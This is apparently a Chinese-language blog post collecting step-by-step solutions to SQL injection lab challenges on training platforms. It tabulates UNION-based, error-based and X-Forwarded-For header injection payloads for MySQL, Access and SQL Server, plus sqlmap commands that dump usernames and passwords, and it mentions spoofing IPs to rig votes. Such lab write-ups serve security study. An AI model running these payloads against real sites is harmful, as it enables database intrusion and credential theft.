问题描述:
自从在墨者学院混迹一段时间后,SQL注入的题目被我水到龙王庙...在此整理一篇答题合集,适合与我一样对与SQL知道那么一点点,但是又不怎么熟悉流程的小白~
(⌐■_■)所以此处龙王镇文,保佑我SQL注入的题目顺利通过呀~
步骤总结:
1 MySQL数字型显注
答题链接:墨者学院01 SQL手工注入漏洞测试(MySQL数据库)
解题步骤:
语句 | 功能 |
and 1=1 and 1=2 |
判断注入点 |
order by 5 | 判断字段数 |
and 1=2 union select 1,2,3,4 | 判断回显字段 |
and 1=2 union select 1,database(),3,4 | 查询数据库名称 |
and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema ='库名' | 查询数据库表名 |
and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='表名' | 查询字段名称 |
and 1=2 union select 1,2,group_concat(字段名1,'~',字段名2),4 from 表名 | 查询字段内容 |
2 Access数字型显注
答题链接:墨者学院02 SQL手工注入漏洞测试(Access数据库)
解题步骤:
语句 | 功能 |
and 1=1 and 1=2 |
判断注入点 |
order by 5 | 判断字段数 |
and 1=2 union select 1,2,3,4 from 表名 | 判断回显字段及猜测表名 |
and 1=2 union select 1,字段名,passwd,4 from 表名 | 猜测字段名 |
3 Sql Server数字型显注
答题链接:墨者学院04 SQL手工注入漏洞测试(Sql Server数据库)
解题步骤:
语句 | 功能 |
and 1=1 and 1=2 |
判断注入点 |
order by 5 | 判断字段数 |
and 1=2 union all select null,null,null,null | 判断回显字段 |
and 1=2 union all select null,db_name(),null,null | 查询数据库名称 |
and 1=2 union all select null,(select quotename(table_name) from information_schema.tables for xml path('')),null,null |
查询数据库表名 |
and 1=2 union all select null,(select quotename(column_name) from information_schema.columns where table_name='表名'for xml path),null,null |
查询字段名称 |
and 1=2 union all select null,(select 字段名 from 表名),null,null |
查询字段内容 |
4 MySQL字符型显注
答题链接:墨者学院05 SQL手工注入漏洞测试(MySQL数据库-字符型)
解题步骤:
语句 | 功能 |
' |
判断注入点 |
'order by 5 --+ | 判断字段数 |
id=-1'union select 1,2,3,4 --+ | 判断回显字段 |
id=-1'union select 1,database(),3,4 --+ | 查询数据库名称 |
id=-1'union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema ='库名' --+ | 查询数据库表名 |
id=-1'union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='表名' --+ | 查询字段名称 |
id=-1'union select 1,2,group_concat(字段名1,'~',字段名2),4 from 表名 --+ | 查询字段内容 |
5 MySQL字符型报错盲注
解题步骤:
语句 | 功能 |
' |
判断注入点 |
'order by 5 --+ | 判断字段数 |
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ | 查询数据库名称 |
id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = '库名'),0x7e),1)--+ | 查询数据库表名 |
id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = '表名'),0x7e),1)--+ | 查询字段名称 |
id=1' and updatexml(1,concat(0x7e,(select 字段名 from 表名),0x7e),1)--+ | 查询字段内容1 |
id=1' and updatexml(1,concat(0x7e,(select group_concat(name,'~',password) from member),0x7e),1)--+ | 查询字段内容2 |
6 MySQL数字型布尔盲注
工具:SQLMAP
解题步骤:
语句 | 功能 |
and 1=1 and 1=2 |
判断注入点 |
--dbs --batch | 爆破数据库名 |
-D 数据库名 --tables --batch | 爆破表名 |
-D 数据库名 -T 表名 --columns —batch | 爆破字段名 |
-D 数据库名 -T 表名 -C 字段名 --dump —batch | 爆破字段内容 |
7 时间盲注
这个我目前也不太清楚适用条件,之前有一篇题目涉及过相关内容,需要与SSRF联合解题,之后会补充的~
答题链接:Web安全攻防世界08 very_easy_sql
8 X-Forwarded-For注入漏洞
工具:BurpSuite
答题链接:墨者学院09 X-Forwarded-For注入漏洞实战
手工解题步骤:
语句 | 功能 |
' | 判断注入点 |
',updatexml(0,concat(0x7e,database(),0x7e),1) | 查询数据库名 |
',updatexml(0,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) | 查询数据表名 |
',updatexml(0,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='user')),0) | 查询字段名 |
',updatexml(0,concat(0x7e,(select group_concat(username,0x7e,password) from webcalendar.user)),0) | 查询字段内容 |
SQLMAP解题步骤:
语句 | 功能 |
' | 判断注入点 |
python sqlmap.py -r 1.txt --current-db --batch | 查询数据库名 |
python sqlmap.py -r 1.txt -D webcalendar --tables --batch | 查询数据表名 |
python sqlmap.py -r 1.txt -D webcalendar -T user --columns —batch | 查询字段名 |
python sqlmap.py -r 1.txt -D webcalendar -T user -C username,password --dump —batch | 查询字段内容 |
X-forwarded-for除了爆破数据库,还有一个很有意思的功能:伪造IP地址,可以用来本地登录或者投票,有兴趣也可以看看下面两篇小博文~
答题链接1:墨者学院02 SQL手工注入漏洞测试(Access数据库)
答题链接2:墨者学院12 命令注入执行分析
9 Cookie注入
工具:BurpSuite
还没有刷到Cookie注入的题目,流程其实与X-Forwarded-for区别不是很大~
有兴趣的话,有一道用cookie实现文件包含的题目,可以看看下面的小博文~
答题链接:Web安全攻防世界01 fileinclude(宜兴网信办)
暂时就想到这些,以后还是会根据做题经历有所增补的~
码字不易,若有所帮助,可以点赞支持一下博主嘛?感谢~(●'◡'●)